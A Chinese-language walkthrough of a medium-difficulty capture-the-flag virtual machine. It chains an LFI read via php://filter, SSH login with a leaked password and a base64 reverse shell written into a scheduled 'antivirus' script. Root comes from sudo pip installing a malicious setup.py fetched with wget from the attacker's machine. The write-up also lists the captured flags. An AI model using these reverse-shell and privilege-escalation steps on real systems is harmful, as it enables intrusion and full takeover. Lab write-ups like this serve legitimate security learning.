靶机难度:中等
这个靶机得用virtualbox打开,环境:vmware 上kali,virtualbox上靶机,如何让他们在一个内网里,请看这篇文章https://blog.csdn.net/qq_43342566/article/details/102679837
0x00
首先还是发现主机地址
netdiscover -r 192.168.56.0/24
ip地址为192.168.56.101
然后nmap扫描一下
nmap -A 192.168.56.101
开放了80 111 3333端口
0x01
先扫描一下web目录
dirb http://192.168.56.101/
可以看到好几个文件size都是0,只有secret.txt和index.php有内容,去访问一下。
secret.txt里面啥用都没有
那就只剩下index.php了
查看一下源码吧。
源码中有一个地方引起了我的注意
访问一下
当lang参数为fr的时候有内容,为其他的时候无内容。
推测这边可能有文件包含漏洞,php伪协议读取一下试一试
http://192.168.56.101/index.php?lang=php://filter/read=convert.base64-encode/resource=./index
注意:这边index后面不需要加php,因为之前网站用的是 ?lang=fr 也没有加,所以我们这边也不加。
解码一下,得到
<title>Vibranium Market</title>
<link href="bootstrap.css" rel="stylesheet">
<link href="cover.css" rel="stylesheet">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Vibranium Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
<?php
}
?>
<footer class="mastfoot mt-auto">
<div class="inner">
<p>Made by<a href="#">@mamadou</a></p>
</div>
</footer>
</div>
[Finished in 0.1s] 第一行就是password Niamey4Ever227!!! 猜测这个password就是ssh密码了,去登陆一下看看。 但是用户名是什么我们不知道,可能是靶机作者的名字,mamadou ,去试一试。 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20191023183532582.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMzQyNTY2,size_16,color_FFFFFF,t_70)
0x02
尝试登陆一下
ssh 192.168.56.101 -l mamadou -p 3333
我们成功登陆进来,登陆进来是一个python交互模式,直接用python的pty模块里面的spawn,进入终端
import(“pty”).spawn("/bin/bash")
ls一下,发现第一个flag,flag{d86b9ad71ca887f4dd1dac86ba1c4dfc}
找了一圈,发现tmp下面有一个test文件,内容也为test,感觉没什么用啊???
我们看一下有哪些用户
cat /etc/passwd
有一个devops用户,而且他还有bash权限,那么我们的目标就是他了。
查看一下用户的文件
find / -user devops 2>/dev/null -ls
这个test文件也是devops的,还有一个py脚本也是devops的,我们看一下这个脚本。
往test文件里面写 “test”,那我们在这里不就可以写一个shell进去了?
我们用msfvenom生成一个脚本,msfvenom -p cmd/unix/reverse_python lhost=192.168.56.102 lport=4444 R
复制这个白色的内容就行了。
echo “exec(‘aW1wb3J0IHNvY2tldCAsICAgICAgICAgc3VicHJvY2VzcyAsICAgICAgICAgb3MgIDsgICBob3N0PSIxOTIuMTY4LjU2LjEwMiIgIDsgICBwb3J0PTQ0NDQgIDsgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgLCAgICAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgIDsgICBzLmNvbm5lY3QoKGhvc3QgLCAgICAgICAgIHBvcnQpKSAgOyAgIG9zLmR1cDIocy5maWxlbm8oKSAsICAgICAgICAgMCkgIDsgICBvcy5kdXAyKHMuZmlsZW5vKCkgLCAgICAgICAgIDEpICA7ICAgb3MuZHVwMihzLmZpbGVubygpICwgICAgICAgICAyKSAgOyAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==’.decode(‘base64’))” > /srv/.antivirus.py
我们看一下这个服务
find / -name “antivirus.service” 2>/dev/null
cat /lib/systemd/system/antivirus.service
可以看到这个服务5分钟执行一次,所以我们需要等待一下
nc -nvlp 4444
等待一会,shell弹回来了
到家目录,看到第二个flag,flag{d8ce56398c88e1b4d9e5f83e64c79098}
0x03
我们现在要去获得root权限
sudo -l 查看一下
发现/user/bin/pip可以作为root用户运行,且无需任何密码。
那估计和pip有关,我们搜索一下和pip有关的漏洞。
github地址:https://github.com/0x00-0x00/FakePip
将里面的 setup.py 稍作修改
然后我们将这个脚本放入kali的/var/www/html中,并开启apache
并且nc监听一下
nc -nvlp 13772
现在到devops这边
1> cd /tmp
2> wget http://192.168.56.102/setup.py
3> mkdir fakepip
4> mv setup.py fakepip/
5> cd fakepip
6> sudo pip install . --upgrade --force-reinstall
发现这边nc已经有shell了
已经是root了,到家目录下,cat root.txt
成功!